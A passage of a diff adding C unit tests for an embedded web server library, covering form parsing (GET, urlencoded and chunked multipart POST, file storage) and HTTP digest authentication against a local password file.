ck_assert_uint_eq(valuelen, 1); + ck_assert_str_eq(value, "3"); + break; + case 10: + ck_assert_str_eq(key, "monthin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 11: + ck_assert_str_eq(key, "weekin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 12: + ck_assert_str_eq(key, "timein"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 13: + ck_assert_str_eq(key, "datetimen"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 14: + ck_assert_str_eq(key, "datetimelocalin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 15: + ck_assert_str_eq(key, "emailin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 16: + ck_assert_str_eq(key, "searchin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 17: + ck_assert_str_eq(key, "telin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 18: + ck_assert_str_eq(key, "urlin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 19: + ck_assert_str_eq(key, "filein"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 20: + ck_assert_str_eq(key, "filesin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 21: + ck_assert_str_eq(key, "selectin"); + ck_assert_uint_eq(valuelen, 4); + ck_assert_str_eq(value, "opt1"); + break; + case 22: + ck_assert_str_eq(key, "message"); + ck_assert_uint_eq(valuelen, 23); + ck_assert_str_eq(value, "Text area default text."); + break; + default: + ck_abort_msg("field_get called with g_field_step == %i", + (int)g_field_step); + } + + free(value); + mark_point(); + + return 0; +} + + +static const char *myfile_content = "Content of myfile.txt\r\n"; +static const int myfile_content_rep = 500; + + +static int +field_store(const char *path, long long file_size, void *user_data) +{ + FILE *f; + ck_assert_ptr_eq(user_data, (void *)&g_field_found_return); + ck_assert_int_ge(g_field_step, 100); + + ++g_field_step; + switch (g_field_step) { + case 101: + ck_assert_str_eq(path, "storeme.txt"); + ck_assert_int_eq(file_size, 9); + f = fopen(path, "r"); + ck_assert_ptr_ne(f, NULL); + if (f) { + char buf[32] = {0}; + int i = (int)fread(buf, 1, 31, f); + ck_assert_int_eq(i, 9); + fclose(f); + ck_assert_str_eq(buf, "storetest"); + } + break; + case 102: + ck_assert_str_eq(path, "file2store.txt"); + ck_assert_uint_eq(23, strlen(myfile_content)); + ck_assert_int_eq(file_size, 23 * myfile_content_rep); +#ifdef _WIN32 + f = fopen(path, "rb"); +#else + f = fopen(path, "r"); +#endif + ck_assert_ptr_ne(f, NULL); + if (f) { + char buf[32] = {0}; + int r, i; + for (r = 0; r < myfile_content_rep; r++) { + i = (int)fread(buf, 1, 23, f); + ck_assert_int_eq(i, 23); + ck_assert_str_eq(buf, myfile_content); + } + i = (int)fread(buf, 1, 23, f); + ck_assert_int_eq(i, 0); + fclose(f); + } + break; + default: + ck_abort_msg("field_get called with g_field_step == %i", + (int)g_field_step); + } + mark_point(); + + return 0; +} + + +static int +FormGet(struct mg_connection *conn, void *cbdata) +{ + const struct mg_request_info *req_info = mg_get_request_info(conn); + int ret; + struct mg_form_data_handler fdh = {field_found, field_get, NULL, NULL}; + + (void)cbdata; + + ck_assert(req_info != NULL); + + mg_printf(conn, "HTTP/1.0 200 OK\r\nContent-Type: text/plain\r\n\r\n"); + fdh.user_data = (void *)&g_field_found_return; + + /* Call the form handler */ + g_field_step = 0; + g_field_found_return = FORM_FIELD_STORAGE_GET; + ret = mg_handle_form_request(conn, &fdh); + g_field_found_return = -888; + ck_assert_int_eq(ret, 22); + ck_assert_int_eq(g_field_step, 22); + mg_printf(conn, "%i\r\n", ret); + g_field_step = 1000; + + mark_point(); + + return 1; +} + + +static int +FormStore(struct mg_connection *conn, + void *cbdata, + int ret_expected, + int field_step_expected) +{ + const struct mg_request_info *req_info = mg_get_request_info(conn); + int ret; + struct mg_form_data_handler fdh = {field_found, + field_get, + field_store, + NULL}; + + (void)cbdata; + + ck_assert(req_info != NULL); + + mg_printf(conn, "HTTP/1.0 200 OK\r\nContent-Type: text/plain\r\n\r\n"); + fdh.user_data = (void *)&g_field_found_return; + + /* Call the form handler */ + g_field_step = 100; + g_field_found_return = FORM_FIELD_STORAGE_STORE; + ret = mg_handle_form_request(conn, &fdh); + ck_assert_int_eq(ret, ret_expected); + ck_assert_int_eq(g_field_step, field_step_expected); + mg_printf(conn, "%i\r\n", ret); + g_field_step = 1000; + + mark_point(); + + return 1; +} + + +static int +FormStore1(struct mg_connection *conn, void *cbdata) +{ + mark_point(); + return FormStore(conn, cbdata, 3, 101); +} + + +static int +FormStore2(struct mg_connection *conn, void *cbdata) +{ + mark_point(); + return FormStore(conn, cbdata, 4, 102); +} + + +static void +send_chunk_stringl(struct mg_connection *conn, + const char *chunk, + unsigned int chunk_len) +{ + char lenbuf[16]; + size_t lenbuf_len; + int ret; + + mark_point(); + + /* First store the length information in a text buffer. */ + sprintf(lenbuf, "%x\r\n", chunk_len); + lenbuf_len = strlen(lenbuf); + + /* Then send length information, chunk and terminating \r\n. */ + ret = mg_write(conn, lenbuf, lenbuf_len); + ck_assert_int_eq(ret, (int)lenbuf_len); + + ret = mg_write(conn, chunk, chunk_len); + ck_assert_int_eq(ret, (int)chunk_len); + + ret = mg_write(conn, "\r\n", 2); + ck_assert_int_eq(ret, 2); +} + + +static void +send_chunk_string(struct mg_connection *conn, const char *chunk) +{ + mark_point(); + send_chunk_stringl(conn, chunk, (unsigned int)strlen(chunk)); + mark_point(); +} + + +START_TEST(test_handle_form) +{ + struct mg_context *ctx; + struct mg_connection *client_conn; + const struct mg_request_info *ri; + const char *OPTIONS[8]; + const char *opt; + int opt_idx = 0; + char ebuf[100]; + const char *multipart_body; + const char *boundary; + size_t body_len, body_sent, chunk_len; + int sleep_cnt; + + mark_point(); + + memset((void *)OPTIONS, 0, sizeof(OPTIONS)); + OPTIONS[opt_idx++] = "listening_ports"; + OPTIONS[opt_idx++] = "8884"; + ck_assert_int_le(opt_idx, (int)(sizeof(OPTIONS) / sizeof(OPTIONS[0]))); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 1] == NULL); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 2] == NULL); + + ctx = test_mg_start(NULL, &g_ctx, OPTIONS); + + ck_assert(ctx != NULL); + g_ctx = ctx; + + opt = mg_get_option(ctx, "listening_ports"); + ck_assert_str_eq(opt, "8884"); + + mg_set_request_handler(ctx, "/handle_form", FormGet, NULL); + mg_set_request_handler(ctx, "/handle_form_store", FormStore1, NULL); + mg_set_request_handler(ctx, "/handle_form_store2", FormStore2, NULL); + + test_sleep(1); + + /* Handle form: "GET" */ + client_conn = mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /handle_form" + "?textin=text&passwordin=&radio1=val1" + "&radio2=val1&check1=val1&numberin=1" + "&datein=1.1.2016&colorin=%2380ff00" + "&rangein=3&monthin=&weekin=&timein=" + "&datetimen=&datetimelocalin=&emailin=" + "&searchin=&telin=&urlin=&filein=" + "&filesin=&selectin=opt1" + "&message=Text+area+default+text. " + "HTTP/1.0\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n\r\n"); + ck_assert(client_conn != NULL); + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + /* Handle form: "POST x-www-form-urlencoded" */ + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form HTTP/1.1\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" + "Content-Length: 263\r\n" + "\r\n" + "textin=text&passwordin=&radio1=val1&radio2=val1" + "&check1=val1&numberin=1&datein=1.1.2016" + "&colorin=%2380ff00&rangein=3&monthin=&weekin=" + "&timein=&datetimen=&datetimelocalin=&emailin=" + "&searchin=&telin=&urlin=&filein=&filesin=" + "&selectin=opt1&message=Text+area+default+text."); + ck_assert(client_conn != NULL); + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + /* Handle form: "POST multipart/form-data" */ + multipart_body = + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"textin\"\r\n" + "\r\n" + "text\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"passwordin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"radio1\"\r\n" + "\r\n" + "val1\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=radio2\r\n" + "\r\n" + "val1\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"check1\"\r\n" + "\r\n" + "val1\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"numberin\"\r\n" + "\r\n" + "1\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"datein\"\r\n" + "\r\n" + "1.1.2016\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"colorin\"\r\n" + "\r\n" + "#80ff00\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"rangein\"\r\n" + "\r\n" + "3\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"monthin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"weekin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"timein\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"datetimen\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"datetimelocalin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"emailin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"searchin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"telin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"urlin\"\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"filein\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=filesin; filename=\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"selectin\"\r\n" + "\r\n" + "opt1\r\n" + "--multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Disposition: form-data; name=\"message\"\r\n" + "\r\n" + "Text area default text.\r\n" + "--multipart-form-data-boundary--see-RFC-2388--\r\n"; + body_len = strlen(multipart_body); + ck_assert_uint_eq(body_len, 2368); /* not required */ + + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "POST /handle_form HTTP/1.1\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: multipart/form-data; " + "boundary=multipart-form-data-boundary--see-RFC-2388\r\n" + "Content-Length: %u\r\n" + "\r\n%s", + (unsigned int)body_len, + multipart_body); + + ck_assert(client_conn != NULL); + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + + /* Handle form: "POST multipart/form-data" with chunked transfer encoding */ + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form HTTP/1.1\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: multipart/form-data; " + "boundary=multipart-form-data-boundary--see-RFC-2388\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n"); + + ck_assert(client_conn != NULL); + + body_len = strlen(multipart_body); + chunk_len = 1; + body_sent = 0; + while (body_len > body_sent) { + if (chunk_len > (body_len - body_sent)) { + chunk_len = body_len - body_sent; + } + ck_assert_int_gt((int)chunk_len, 0); + mg_printf(client_conn, "%x\r\n", (unsigned int)chunk_len); + mg_write(client_conn, multipart_body + body_sent, chunk_len); + mg_printf(client_conn, "\r\n"); + body_sent += chunk_len; + chunk_len = (chunk_len % 40) + 1; + } + mg_printf(client_conn, "0\r\n"); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + /* Handle form: "POST multipart/form-data" with chunked transfer + * encoding, using a quoted boundary string */ + client_conn = mg_download( + "localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form HTTP/1.1\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: multipart/form-data; " + "boundary=\"multipart-form-data-boundary--see-RFC-2388\"\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n"); + + ck_assert(client_conn != NULL); + + body_len = strlen(multipart_body); + chunk_len = 1; + body_sent = 0; + while (body_len > body_sent) { + if (chunk_len > (body_len - body_sent)) { + chunk_len = body_len - body_sent; + } + ck_assert_int_gt((int)chunk_len, 0); + mg_printf(client_conn, "%x\r\n", (unsigned int)chunk_len); + mg_write(client_conn, multipart_body + body_sent, chunk_len); + mg_printf(client_conn, "\r\n"); + body_sent += chunk_len; + chunk_len = (chunk_len % 40) + 1; + } + mg_printf(client_conn, "0\r\n"); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + + /* Now test form_store */ + + /* First test with GET */ + client_conn = mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /handle_form_store" + "?storeme=storetest" + "&continue_field_handler=ignore" + "&break_field_handler=abort" + "&dontread=xyz " + "HTTP/1.0\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n\r\n"); + + ck_assert(client_conn != NULL); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + + /* Handle form: "POST x-www-form-urlencoded", chunked, store */ + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form_store HTTP/1.0\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n"); + ck_assert(client_conn != NULL); + + send_chunk_string(client_conn, "storeme=store"); + send_chunk_string(client_conn, "test&"); + send_chunk_string(client_conn, "continue_field_handler=ignore"); + send_chunk_string(client_conn, "&br"); + test_sleep(1); + send_chunk_string(client_conn, "eak_field_handler=abort&"); + send_chunk_string(client_conn, "dontread=xyz"); + mg_printf(client_conn, "0\r\n"); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + /* Handle form: "POST multipart/form-data", chunked, store */ + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form_store HTTP/1.0\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: multipart/form-data; " + "boundary=multipart-form-data-boundary--see-RFC-2388\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n"); + ck_assert(client_conn != NULL); + + send_chunk_string(client_conn, "--multipart-form-data-boundary"); + send_chunk_string(client_conn, "--see-RFC-2388\r\n"); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"storeme\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "storetest\r\n"); + + send_chunk_string(client_conn, "--multipart-form-data-boundary-"); + send_chunk_string(client_conn, "-see-RFC-2388\r\n"); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"continue_field_handler\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "ignore\r\n"); + + send_chunk_string(client_conn, "--multipart-form-data-boundary-"); + send_chunk_string(client_conn, "-see-RFC-2388\r\n"); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"break_field_handler\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "abort\r\n"); + + send_chunk_string(client_conn, "--multipart-form-data-boundary-"); + send_chunk_string(client_conn, "-see-RFC-2388\r\n"); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"dontread\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "xyz\r\n"); + send_chunk_string(client_conn, "--multipart-form-data-boundary"); + send_chunk_string(client_conn, "--see-RFC-2388--\r\n"); + mg_printf(client_conn, "0\r\n"); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + + /* Handle form: "POST multipart/form-data", chunked, store, with files */ + client_conn = + mg_download("localhost", + 8884, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /handle_form_store2 HTTP/1.0\r\n" + "Host: localhost:8884\r\n" + "Connection: close\r\n" + "Content-Type: multipart/form-data; " + "boundary=multipart-form-data-boundary--see-RFC-2388\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n"); + ck_assert(client_conn != NULL); + + boundary = "--multipart-form-data-boundary--see-RFC-2388\r\n"; + + send_chunk_string(client_conn, boundary); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"storeme\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "storetest\r\n"); + + send_chunk_string(client_conn, boundary); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"continue_field_handler\";"); + send_chunk_string(client_conn, "filename=\"file_ignored.txt\"\r\n"); + send_chunk_string(client_conn, "Content-Type: "); + send_chunk_string(client_conn, "application/octet-stream\r\n"); + send_chunk_string(client_conn, "X-Ignored-Header: xyz\r\n"); + send_chunk_string(client_conn, "\r\n"); + + /* send some kilobyte of data */ + /* sending megabytes to localhost does not allways work in CI test + * environments (depending on the network stack) */ + body_sent = 0; + do { + send_chunk_string(client_conn, "ignore\r\n"); + body_sent += 8; + /* send some strings that are almost boundaries */ + for (chunk_len = 1; chunk_len < strlen(boundary); chunk_len++) { + /* chunks from 1 byte to strlen(boundary)-1 */ + send_chunk_stringl(client_conn, boundary, (unsigned int)chunk_len); + body_sent += chunk_len; + } + } while (body_sent < 8 * 1024); + send_chunk_string(client_conn, "\r\n"); + + send_chunk_string(client_conn, boundary); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"file2store\";"); + send_chunk_string(client_conn, "filename=\"myfile.txt\"\r\n"); + send_chunk_string(client_conn, "Content-Type: "); + send_chunk_string(client_conn, "application/octet-stream\r\n"); + send_chunk_string(client_conn, "X-Ignored-Header: xyz\r\n"); + send_chunk_string(client_conn, "\r\n"); + for (body_sent = 0; (int)body_sent < (int)myfile_content_rep; body_sent++) { + send_chunk_string(client_conn, myfile_content); + } + send_chunk_string(client_conn, "\r\n"); + + send_chunk_string(client_conn, boundary); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"break_field_handler\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "abort\r\n"); + + send_chunk_string(client_conn, boundary); + send_chunk_string(client_conn, "Content-Disposition: form-data; "); + send_chunk_string(client_conn, "name=\"dontread\"\r\n"); + send_chunk_string(client_conn, "\r\n"); + send_chunk_string(client_conn, "xyz\r\n"); + send_chunk_string(client_conn, "--multipart-form-data-boundary"); + send_chunk_string(client_conn, "--see-RFC-2388--\r\n"); + mg_printf(client_conn, "0\r\n"); + + for (sleep_cnt = 0; sleep_cnt < 30; sleep_cnt++) { + test_sleep(1); + if (g_field_step == 1000) { + break; + } + } + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); + + + /* Close the server */ + g_ctx = NULL; + test_mg_stop(ctx); + mark_point(); +} +END_TEST + + +START_TEST(test_http_auth) +{ +#if !defined(NO_FILES) + const char *OPTIONS[] = { + "document_root", + ".", + "listening_ports", + "8080", +#if !defined(NO_CACHING) + "static_file_max_age", + "0", +#endif + "put_delete_auth_file", + "put_delete_auth_file.csv", + NULL, + }; + + struct mg_context *ctx; + struct mg_connection *client_conn; + char client_err[256], nonce[256]; + const struct mg_request_info *client_ri; + int client_res; + FILE *f; + const char *passwd_file = ".htpasswd"; + const char *test_file = "test_http_auth.test_file.txt"; + const char *test_content = "test_http_auth test_file content"; + const char *domain; + const char *doc_root; + const char *auth_request; + const char *str; + size_t len; + int i; + char HA1[256], HA2[256], HA[256]; + char HA1_md5_buf[33], HA2_md5_buf[33], HA_md5_buf[33]; + char *HA1_md5_ret, *HA2_md5_ret, *HA_md5_ret; + const char *nc = "00000001"; + const char *cnonce = "6789ABCD"; + + mark_point(); + + /* Start with default options */ + ctx = test_mg_start(NULL, NULL, OPTIONS); + + ck_assert(ctx != NULL); + domain = mg_get_option(ctx, "authentication_domain"); + ck_assert(domain != NULL); + len = strlen(domain); + ck_assert_uint_gt(len, 0); + ck_assert_uint_lt(len, 64); + doc_root = mg_get_option(ctx, "document_root"); + ck_assert_str_eq(doc_root, "."); + + /* Create a default file in the document root */ + f = fopen(test_file, "w"); + if (f) { + fprintf(f, "%s", test_content); + fclose(f); + } else { + ck_abort_msg("Cannot create file %s", test_file); + } + + (void)remove(passwd_file); + (void)remove("put_delete_auth_file.csv"); + + client_res = mg_modify_passwords_file("put_delete_auth_file.csv", + domain, + "admin", + "adminpass"); + ck_assert_int_eq(client_res, 1); + + /* Read file before a .htpasswd file has been created */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /%s HTTP/1.0\r\n\r\n", test_file); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); + ck_assert_str_eq(client_err, test_content); + mg_close_connection(client_conn); + + test_sleep(1); + + /* Create a .htpasswd file */ + client_res = mg_modify_passwords_file(passwd_file, domain, "user", "pass"); + ck_assert_int_eq(client_res, 1); + + client_res = mg_modify_passwords_file(NULL, domain, "user", "pass"); + ck_assert_int_eq(client_res, 0); /* Filename is required */ + + test_sleep(1); + + /* Repeat test after .htpasswd is created */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /%s HTTP/1.0\r\n\r\n", test_file); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "401"); + + auth_request = NULL; + for (i = 0; i < client_ri->num_headers; i++) { + if (!mg_strcasecmp(client_ri->http_headers[i].name, + "WWW-Authenticate")) { + ck_assert_ptr_eq(auth_request, NULL); + auth_request = client_ri->http_headers[i].value; + ck_assert_ptr_ne(auth_request, NULL); + } + } + ck_assert_ptr_ne(auth_request, NULL); + str = "Digest qop=\"auth\", realm=\""; + len = strlen(str); + ck_assert(!mg_strncasecmp(auth_request, str, len)); + ck_assert(!strncmp(auth_request + len, domain, strlen(domain))); + len += strlen(domain); + str = "\", nonce=\""; + ck_assert(!strncmp(auth_request + len, str, strlen(str))); + len += strlen(str); + str = strchr(auth_request + len, '\"'); + ck_assert_ptr_ne(str, NULL); + ck_assert_ptr_ne(str, auth_request + len); + /* nonce is from including (auth_request + len) to excluding (str) */ + ck_assert_int_gt((ptrdiff_t)(str) - (ptrdiff_t)(auth_request + len), 0); + ck_assert_int_lt((ptrdiff_t)(str) - (ptrdiff_t)(auth_request + len), + (ptrdiff_t)sizeof(nonce)); + memset(nonce, 0, sizeof(nonce)); + memcpy(nonce, + auth_request + len, + (size_t)((ptrdiff_t)(str) - (ptrdiff_t)(auth_request + len))); + memset(HA1, 0, sizeof(HA1)); + memset(HA2, 0, sizeof(HA2)); + memset(HA, 0, sizeof(HA)); + memset(HA1_md5_buf, 0, sizeof(HA1_md5_buf)); + memset(HA2_md5_buf, 0, sizeof(HA2_md5_buf)); + memset(HA_md5_buf, 0, sizeof(HA_md5_buf)); + + sprintf(HA1, "%s:%s:%s", "user", domain, "pass"); + sprintf(HA2, "%s:/%s", "GET", test_file); + HA1_md5_ret = mg_md5(HA1_md5_buf, HA1, NULL); + HA2_md5_ret = mg_md5(HA2_md5_buf, HA2, NULL); + + ck_assert_ptr_eq(HA1_md5_ret, HA1_md5_buf); + ck_assert_ptr_eq(HA2_md5_ret, HA2_md5_buf); + + HA_md5_ret = mg_md5(HA_md5_buf, "user", ":", domain, ":", "pass", NULL); + ck_assert_ptr_eq(HA_md5_ret, HA_md5_buf); + ck_assert_str_eq(HA1_md5_ret, HA_md5_buf); + + HA_md5_ret = mg_md5(HA_md5_buf, "GET", ":", "/", test_file, NULL); + ck_assert_ptr_eq(HA_md5_ret, HA_md5_buf); + ck_assert_str_eq(HA2_md5_ret, HA_md5_buf); + + HA_md5_ret = mg_md5(HA_md5_buf, + HA1_md5_buf, + ":", + nonce, + ":", + nc, + ":", + cnonce, + ":", + "auth", + ":", + HA2_md5_buf, + NULL); + ck_assert_ptr_eq(HA_md5_ret, HA_md5_buf); + + mg_close_connection(client_conn); + + /* Retry with authorization */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /%s HTTP/1.0\r\n", test_file); + mg_printf(client_conn, + "Authorization: Digest " + "username=\"%s\", " + "realm=\"%s\", " + "nonce=\"%s\", " + "uri=\"/%s\", " + "qop=auth, " + "nc=%s, " + "cnonce=\"%s\", " + "response=\"%s\"\r\n\r\n", + "user", + domain, + nonce, + test_file, + nc, + cnonce, + HA_md5_buf); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); + ck_assert_str_eq(client_err, test_content); + mg_close_connection(client_conn); + + test_sleep(1); + + /* Retry DELETE with authorization of a user not authorized for DELETE */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); 